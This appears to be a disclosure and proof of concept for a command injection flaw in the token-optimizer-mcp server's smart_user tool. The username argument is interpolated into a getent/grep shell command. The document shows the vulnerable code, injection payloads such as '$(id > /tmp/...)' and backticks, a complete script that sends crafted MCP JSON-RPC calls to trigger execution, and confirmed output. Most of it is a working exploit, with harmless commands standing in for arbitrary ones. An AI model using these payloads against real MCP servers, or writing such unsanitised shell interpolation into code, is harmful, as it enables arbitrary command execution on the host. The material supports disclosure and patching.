token-optimizer-mcp CVE-2026-55157

getent passwd "${username}" || grep "^${username}:" /etc/passwd

$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)

@ooples/token-optimizer-mcp v5.0.1
MCP serverInfo.name: token-optimizer-mcp
MCP serverInfo.version: 0.2.0

const { stdout: passwdOut } = await execAsync(
  `getent passwd "${username}" || grep "^${username}:" /etc/passwd`
);

"$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)"
"`id`"

tool: smart_user
operation: get-user-info
argument: username

MCP-controlled username
→ interpolated into shell command string
→ executed through execAsync()
→ shell evaluates $(...) / backticks
→ arbitrary command execution

Node.js installed
token-optimizer-mcp built from source

git clone https://github.com/ooples/token-optimizer-mcp.git
cd token-optimizer-mcp
npm install
npm run build

cd /path/to/token-optimizer-mcp

ENTRY=dist/server/index.js
ID_OUT="/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$"
rm -f "$ID_OUT"

echo "[*] ENTRY=$ENTRY"
echo "[*] id output file: $ID_OUT"

python3 - "$ID_OUT" <<'PY' | timeout 20 node "$ENTRY" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log
import json
import sys

id_out = sys.argv[1]
# This value is inserted into:
# getent passwd "${username}" || grep "^${username}:" /etc/passwd
# Command substitution still executes inside double quotes.
evil_username = f'$(id > {id_out})'

messages = [
    {
        "jsonrpc": "2.0",
        "id": "init",
        "method": "initialize",
        "params": {
            "protocolVersion": "2024-11-05",
            "capabilities": {},
            "clientInfo": {
                "name": "poc",
                "version": "0"
            }
        }
    },
    {
        "jsonrpc": "2.0",
        "method": "notifications/initialized",
        "params": {}
    },
    {
        "jsonrpc": "2.0",
        "id": "poc-smart-user",
        "method": "tools/call",
        "params": {
            "name": "smart_user",
            "arguments": {
                "operation": "get-user-info",
                "username": evil_username,
                "useCache": False
            }
        }
    }
]

for msg in messages:
    print(json.dumps(msg), flush=True)
PY

sleep 1

if [ -f "$ID_OUT" ]; then
  echo "[VULN CONFIRMED] smart_user command injection executed:"
  cat "$ID_OUT"
  ls -l "$ID_OUT"
else
  echo "[FAIL] smart_user id output file not created"
  tail -120 /tmp/token_optimizer_smart_user_poc.log
fi

[VULN CONFIRMED] smart_user command injection executed:
uid=1001(<local-user>) gid=1001(<local-user>) groups=...
-rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...

Command failed: getent passwd "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)" || grep "^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):" /etc/passwd

{
  "operation": "get-user-info",
  "username": "$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)",
  "useCache": false
}

execution of `id` as the MCP server user
arbitrary file creation under /tmp through an injected command